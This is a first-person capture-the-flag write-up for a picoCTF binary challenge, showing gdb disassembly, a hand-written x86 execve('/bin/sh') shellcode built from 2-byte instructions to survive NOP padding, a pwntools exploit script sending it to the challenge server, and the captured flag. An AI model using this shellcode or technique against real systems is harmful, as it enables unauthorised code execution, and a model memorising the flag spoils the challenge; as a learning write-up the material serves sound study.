Hey this is my first Writeup i try to explain as detailed as possible what i did to solve this challenge.Special thanks to @Zopazz and @uncle_Jeff from the PWNFunction Discord for helping me out and answering my stupid questions :DJoin us if u want https://discord.gg/qJzgHZ5srj.
Run `gdb ./fun` and than `disass main`
```   0x080485d3 <+0>:     lea    ecx,[esp+0x4]   0x080485d7 <+4>:     and    esp,0xfffffff0   0x080485da <+7>:     push   DWORD PTR [ecx-0x4]   0x080485dd <+10>:    push   ebp   0x080485de <+11>:    mov    ebp,esp   0x080485e0 <+13>:    push   ebx   0x080485e1 <+14>:    push   ecx   0x080485e2 <+15>:    sub    esp,0x3f0   0x080485e8 <+21>:    call   0x8048430 <__x86.get_pc_thunk.bx>   0x080485ed <+26>:    add    ebx,0x1a13   0x080485f3 <+32>:    mov    eax,DWORD PTR [ebx-0x4]   0x080485f9 <+38>:    mov    eax,DWORD PTR [eax]   0x080485fb <+40>:    sub    esp,0x8   0x080485fe <+43>:    push   0x0   0x08048600 <+45>:    push   eax   0x08048601 <+46>:    call   0x8048380 <setbuf@plt>   0x08048606 <+51>:    add    esp,0x10   0x08048609 <+54>:    mov    DWORD PTR [ebp-0xc],0x0   0x08048610 <+61>:    mov    BYTE PTR [ebp-0xd],0x0   0x08048614 <+65>:    sub    esp,0xc   0x08048617 <+68>:    lea    eax,[ebx-0x18c0]   0x0804861d <+74>:    push   eax   0x0804861e <+75>:    call   0x8048390 <puts@plt>   0x08048623 <+80>:    add    esp,0x10   0x08048626 <+83>:    mov    eax,DWORD PTR [ebx-0x8]   0x0804862c <+89>:    mov    eax,DWORD PTR [eax]   0x0804862e <+91>:    sub    esp,0xc   0x08048631 <+94>:    push   eax   0x08048632 <+95>:    call   0x80483c0 <fgetc@plt>   0x08048637 <+100>:   add    esp,0x10   0x0804863a <+103>:   mov    BYTE PTR [ebp-0xd],al   0x0804863d <+106>:   jmp    0x804866b <main+152>   0x0804863f <+108>:   lea    edx,[ebp-0x3f5]   0x08048645 <+114>:   mov    eax,DWORD PTR [ebp-0xc]   0x08048648 <+117>:   add    edx,eax   0x0804864a <+119>:   movzx  eax,BYTE PTR [ebp-0xd]   0x0804864e <+123>:   mov    BYTE PTR [edx],al   0x08048650 <+125>:   mov    eax,DWORD PTR [ebx-0x8]   0x08048656 <+131>:   mov    eax,DWORD PTR [eax]   0x08048658 <+133>:   sub    esp,0xc   0x0804865b <+136>:   push   eax   0x0804865c <+137>:   call   0x80483c0 <fgetc@plt>   0x08048661 <+142>:   add    esp,0x10   0x08048664 <+145>:   mov    BYTE PTR [ebp-0xd],al   0x08048667 <+148>:   add    DWORD PTR [ebp-0xc],0x1   0x0804866b <+152>:   cmp    BYTE PTR [ebp-0xd],0xa   0x0804866f <+156>:   je     0x804867a <main+167>   0x08048671 <+158>:   cmp    DWORD PTR [ebp-0xc],0x3e7   0x08048678 <+165>:   jbe    0x804863f <main+108>   0x0804867a <+167>:   mov    eax,DWORD PTR [ebp-0xc]   0x0804867d <+170>:   and    eax,0x1   0x08048680 <+173>:   test   eax,eax   0x08048682 <+175>:   je     0x8048696 <main+195>   0x08048684 <+177>:   lea    edx,[ebp-0x3f5]   0x0804868a <+183>:   mov    eax,DWORD PTR [ebp-0xc]   0x0804868d <+186>:   add    eax,edx   0x0804868f <+188>:   mov    BYTE PTR [eax],0x90   0x08048692 <+191>:   add    DWORD PTR [ebp-0xc],0x1   0x08048696 <+195>:   sub    esp,0x8   0x08048699 <+198>:   push   DWORD PTR [ebp-0xc]   0x0804869c <+201>:   lea    eax,[ebp-0x3f5]   0x080486a2 <+207>:   push   eax   0x080486a3 <+208>:   call   0x80484f6 <execute>   0x080486a8 <+213>:   add    esp,0x10   0x080486ab <+216>:   mov    eax,0x0   0x080486b0 <+221>:   lea    esp,[ebp-0x8]   0x080486b3 <+224>:   pop    ecx   0x080486b4 <+225>:   pop    ebx   0x080486b5 <+226>:   pop    ebp   0x080486b6 <+227>:   lea    esp,[ecx-0x4]   0x080486b9 <+230>:   ret    ```
`0x080486a3 <+208>:   call   0x80484f6 <execute>` this looks interesting because its not a function from the .plt so it is not a linked function.
lets check it with `disass execute````   0x080484f6 <+0>:     push   ebp   0x080484f7 <+1>:     mov    ebp,esp   0x080484f9 <+3>:     push   ebx   0x080484fa <+4>:     sub    esp,0x24   0x080484fd <+7>:     call   0x80486ba <__x86.get_pc_thunk.ax>   0x08048502 <+12>:    add    eax,0x1afe   0x08048507 <+17>:    mov    edx,esp   0x08048509 <+19>:    mov    ebx,edx   0x0804850b <+21>:    cmp    DWORD PTR [ebp+0x8],0x0   0x0804850f <+25>:    je     0x8048517 <execute+33>   0x08048511 <+27>:    cmp    DWORD PTR [ebp+0xc],0x0   0x08048515 <+31>:    jne    0x8048523 <execute+45>   0x08048517 <+33>:    sub    esp,0xc   0x0804851a <+36>:    push   0x1   0x0804851c <+38>:    mov    ebx,eax   0x0804851e <+40>:    call   0x80483a0 <exit@plt>   0x08048523 <+45>:    mov    eax,DWORD PTR [ebp+0xc]   0x08048526 <+48>:    add    eax,eax   0x08048528 <+50>:    mov    DWORD PTR [ebp-0x14],eax   0x0804852b <+53>:    mov    eax,DWORD PTR [ebp-0x14]   0x0804852e <+56>:    add    eax,0x1   0x08048531 <+59>:    mov    edx,eax   0x08048533 <+61>:    sub    edx,0x1   0x08048536 <+64>:    mov    DWORD PTR [ebp-0x18],edx   0x08048539 <+67>:    mov    edx,0x10   0x0804853e <+72>:    sub    edx,0x1   0x08048541 <+75>:    add    eax,edx   0x08048543 <+77>:    mov    ecx,0x10   0x08048548 <+82>:    mov    edx,0x0   0x0804854d <+87>:    div    ecx   0x0804854f <+89>:    imul   eax,eax,0x10   0x08048552 <+92>:    sub    esp,eax   0x08048554 <+94>:    mov    eax,esp   0x08048556 <+96>:    add    eax,0x0   0x08048559 <+99>:    mov    DWORD PTR [ebp-0x1c],eax   0x0804855c <+102>:   mov    DWORD PTR [ebp-0x10],0x0   0x08048563 <+109>:   mov    DWORD PTR [ebp-0xc],0x0   0x0804856a <+116>:   jmp    0x80485ad <execute+183>   0x0804856c <+118>:   mov    eax,DWORD PTR [ebp-0xc]   0x0804856f <+121>:   cdq       0x08048570 <+122>:   shr    edx,0x1e   0x08048573 <+125>:   add    eax,edx   0x08048575 <+127>:   and    eax,0x3   0x08048578 <+130>:   sub    eax,edx   0x0804857a <+132>:   cmp    eax,0x1   0x0804857d <+135>:   jg     0x804859e <execute+168>   0x0804857f <+137>:   mov    eax,DWORD PTR [ebp-0x10]   0x08048582 <+140>:   lea    edx,[eax+0x1]   0x08048585 <+143>:   mov    DWORD PTR [ebp-0x10],edx   0x08048588 <+146>:   mov    edx,eax   0x0804858a <+148>:   mov    eax,DWORD PTR [ebp+0x8]   0x0804858d <+151>:   add    eax,edx   0x0804858f <+153>:   movzx  eax,BYTE PTR [eax]   0x08048592 <+156>:   mov    ecx,DWORD PTR [ebp-0x1c]   0x08048595 <+159>:   mov    edx,DWORD PTR [ebp-0xc]   0x08048598 <+162>:   add    edx,ecx   0x0804859a <+164>:   mov    BYTE PTR [edx],al   0x0804859c <+166>:   jmp    0x80485a9 <execute+179>   0x0804859e <+168>:   mov    edx,DWORD PTR [ebp-0x1c]   0x080485a1 <+171>:   mov    eax,DWORD PTR [ebp-0xc]   0x080485a4 <+174>:   add    eax,edx   0x080485a6 <+176>:   mov    BYTE PTR [eax],0x90   0x080485a9 <+179>:   add    DWORD PTR [ebp-0xc],0x1   0x080485ad <+183>:   mov    eax,DWORD PTR [ebp-0xc]   0x080485b0 <+186>:   cmp    DWORD PTR [ebp-0x14],eax   0x080485b3 <+189>:   ja     0x804856c <execute+118>   0x080485b5 <+191>:   mov    edx,DWORD PTR [ebp-0x1c]   0x080485b8 <+194>:   mov    eax,DWORD PTR [ebp-0x14]   0x080485bb <+197>:   add    eax,edx   0x080485bd <+199>:   mov    BYTE PTR [eax],0xc3   0x080485c0 <+202>:   mov    eax,DWORD PTR [ebp-0x1c]   0x080485c3 <+205>:   mov    DWORD PTR [ebp-0x20],eax   0x080485c6 <+208>:   mov    eax,DWORD PTR [ebp-0x20]   0x080485c9 <+211>:   call   eax   0x080485cb <+213>:   mov    esp,ebx   0x080485cd <+215>:   nop   0x080485ce <+216>:   mov    ebx,DWORD PTR [ebp-0x4]   0x080485d1 <+219>:   leave     0x080485d2 <+220>:   ret     ```
ok here i got stuck for a bit ... i was looking for something like `call   0xsomeaddr <something>` but on the first view i cant spot anything interesting ... after reading each line and a few mins later i found `0x080485c9 <+211>:   call   eax`.
set the breakpoints on the interesting spots `b *0x080486a3` and `b *0x080485c9` than run the binary with `r`
` Give me code to run: `
lets throw `AAAAAAAAAAAAAAAAAAAA`
we reach our 1st breakpoint:`[#0] Id 1, Name: "fun", stopped 0x80486a3 in main (), reason: BREAKPOINT`
first we check whats in the eax `$eax   : 0xffffcde3  →  0x41414141 ("AAAA"?)``x/25b $eax`
```0xffffcde3:     0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x410xffffcdeb:     0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x410xffffcdf3:     0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x410xffffcdfb:     0x41```check whats on the stack `0xffb39630│+0x0000: 0xffb39643  →  0x41414141    ← $esp`our input is stored in 0xffb39643`x/25b 0xffb39643`
```0xffb39643:     0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x410xffb3964b:     0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x410xffb39653:     0x41    0x41    0x41    0x41    0xff    0x66    0x47    0xf20xffb3965b:     0xf7```we can continue with `c`
we reach our 2nd breakpoint`[#0] Id 1, Name: "fun", stopped 0x80485c9 in execute (), reason: BREAKPOINT`
and we check both eax and esp again.```gef➤  x/25b $eax0xffffcd60:     0x41    0x41    0x90    0x90    0x41    0x41    0x90    0x900xffffcd68:     0x41    0x41    0x90    0x90    0x41    0x41    0x90    0x900xffffcd70:     0x41    0x41    0x90    0x90    0x41    0x41    0x90    0x900xffffcd78:     0x41gef➤  x/25b $esp0xffffcd60:     0x41    0x41    0x90    0x90    0x41    0x41    0x90    0x900xffffcd68:     0x41    0x41    0x90    0x90    0x41    0x41    0x90    0x900xffffcd70:     0x41    0x41    0x90    0x90    0x41    0x41    0x90    0x900xffffcd78:     0x41```ok maybe our 20 As gets overwritten with the 0x90 or the 0x90 only gets inserted after 2 bytes lets check if we can find all 20 As
``` gef➤  x/45b $eax0xffffcd70:     0x41    0x41    0x90    0x90    0x41    0x41    0x90    0x900xffffcd78:     0x41    0x41    0x90    0x90    0x41    0x41    0x90    0x900xffffcd80:     0x41    0x41    0x90    0x90    0x41    0x41    0x90    0x900xffffcd88:     0x41    0x41    0x90    0x90    0x41    0x41    0x90    0x900xffffcd90:     0x41    0x41    0x90    0x90    0x41    0x41    0x90    0x900xffffcd98:     0xc3    0x0     0x0     0x0     0x2```ok great our As are still there but seperated by 2 0x90 (nop) this means our shellcode can only consists of 2 byte instructions.
for example we send ```68 6e 69 62 2f          push   0x2f62696e68 68 73 2f 00          push   0x2f7368```
it would be split in 2 byte sections 
```0xffdb6b40:     0x68    0x6e    0x90    0x90    0x69    0x62    0x90    0x900xffdb6b48:     0x2f    0x68    0x90    0x90    0x68    0x73    0x90    0x900xffdb6b50:     0x2f    0x00    0x90    0x90```and gets interpreted as something we dont want.
so we have to use 2 byte instructions to spawn a shell.
ok we want to spawn a shell but how ?i had no idea never wrote a shellcode before ... so i read some shellcodes on shellstormand found out that we need a `int 0x80` instruction for a syscall that than executes ecexve
on http://asm.sourceforge.net/syscall.html#p31 i found this. 
```11. sys_execve
Syntax: int sys_execve(struct pt_regs regs)
Source: arch/i386/kernel/process.c
Action: execute program
Details: ```sys_execve executes a program like /bin/sh
ok lets have a closer look at execve https://man7.org/linux/man-pages/man2/execve.2.html
`execve(const char *pathname, char *const argv[],char *const envp[]);`we want `int syscall 0xb(/bin/sh, 0, 0)` to get our shell.
but how do we have to prepare the registers?
```int 0x80 eax(ebx,ecx,edx)
eax = 0xb      #11 as int (for the sys_execve)ebx = /bin/sh  #the programm we want to execute.ecx = 0        #we dont want any arguments and the argv array must be terminated by a NULL pointer so were going for 0x0edx = 0        #we dont want any arguments and the enpv array must be terminated by a NULL pointer so were going for 0x0```
great now we know what we want time to creating our code.
```   xor eax, eax                     #clears eax
   push eax                         #push 0x00000000 on the stac   push eax                         #push 0x00000000 on the stack
   mov edi, esp                     #sets the edi to the top of the stack so we can write something in edi and it will be written on the stack .
   mov al, 0x2f                     #writes '/' on the lowes byte of the eax   add [edi], al                    #adds the '/' to the edi pointer which points to the first byte of the stack( top of the stack ($esp+0))                                     #first byte of the stack at this addr            0xffb82dac:     0x2f       inc edi                          #increment the edi by 1 so the next addr is      0xffb82dad:     0x00   its empty as intended for now   nop                              #we need this nop because inc edi = 0x47 as hex instruction and we know we need always 2 bytes to keep the code stable
   mov al, 0x62                     #writes 'b' on the lowes byte of the eax 2nd byte of the stack    add [edi], al   inc edi   nop
   mov al, 0x69                     #writes 'i' on the lowes byte of the eax 3rd byte of the stack   add [edi], al   inc edi   nop
   mov al, 0x6e                      #writes 'n' on the lowes byte of the eax 4th   add [edi], al   inc edi   nop
   mov al, 0x2f                      #writes '/' on the lowes byte of the eax 5th   add [edi], al   inc edi   nop
   mov al, 0x73                      #writes 's' on the lowes byte of the eax 6th   add [edi], al   inc edi   nop
   mov al, 0x68                      #writes 'h' on the lowes byte of the eax 7th   add [edi], al   inc edi   nop
   xor ebx, ebx                       #clears ebx   xor ecx, ecx                       #clears ecx   xor edx, edx                        #clears edx
   mov al, 0xb                         #writes 0xb to the lowest byte of the eax=0xb int(0xb)=11 that will be the argument for the int 0x80 it calls sys_execve   mov ebx, esp                        #Writes the /bin/sh string in the ebx the 2nd argument for the int 0x80  
   int 0x80                       ```
ok now we have our code lets throw this in a web assembler https://defuse.ca/online-x86-assembler.html and get the hexcode of it.```b"\x31\xC0\x50\x50\x89\xE7\xB0\x2F\x00\x07\x47\x90\xB0\x62\x00\x07\x47\x90\xB0\x69\x00\x07\x47\x90\xB0\x6E\x00\x07\x47\x90\xB0\x2F\x00\x07\x47\x90\xB0\x73\x00\x07\x47\x90\xB0\x68\x00\x07\x47\x90\x31\xDB\x31\xC9\x31\xD2\xB0\x0B\x89\xE3\xCD\x80"```i created a little exploit and saved it as I_can_write_shellcode_now```#!/usr/bin/env python3from pwn import *
fname = './fun'ip = 'mercury.picoctf.net'port = 12345 #change this
LOCAL = False
if LOCAL:    r = process(fname)else:    r = remote(ip, port)
rl = lambda : r.recvline()sl = lambda x : r.sendline(x)inter = lambda : r.interactive()
def pwn():
    print(rl())    payload = b'\x31\xC0\x50\x50\x89\xE7\xB0\x2F\x00\x07\x47\x90\xB0\x62\x00\x07\x47\x90\xB0\x69\x00\x07\x47\x90\xB0\x6E\x00\x07\x47\x90\xB0\x2F\x00\x07\x47\x90\xB0\x73\x00\x07\x47\x90\xB0\x68\x00\x07\x47\x90\x31\xDB\x31\xC9\x31\xD2\xB0\x0B\x89\xE3\xCD\x80'    sl(payload)    inter()
if __name__ == '__main__':    pwn()```time to pop a shell.`chmod +x I_can_write_shellcode_now` and than run it.
GG we get a shell and can cat the flag.||picoCTF{th4t_w4s_fun_bf8b48641b742e27}||
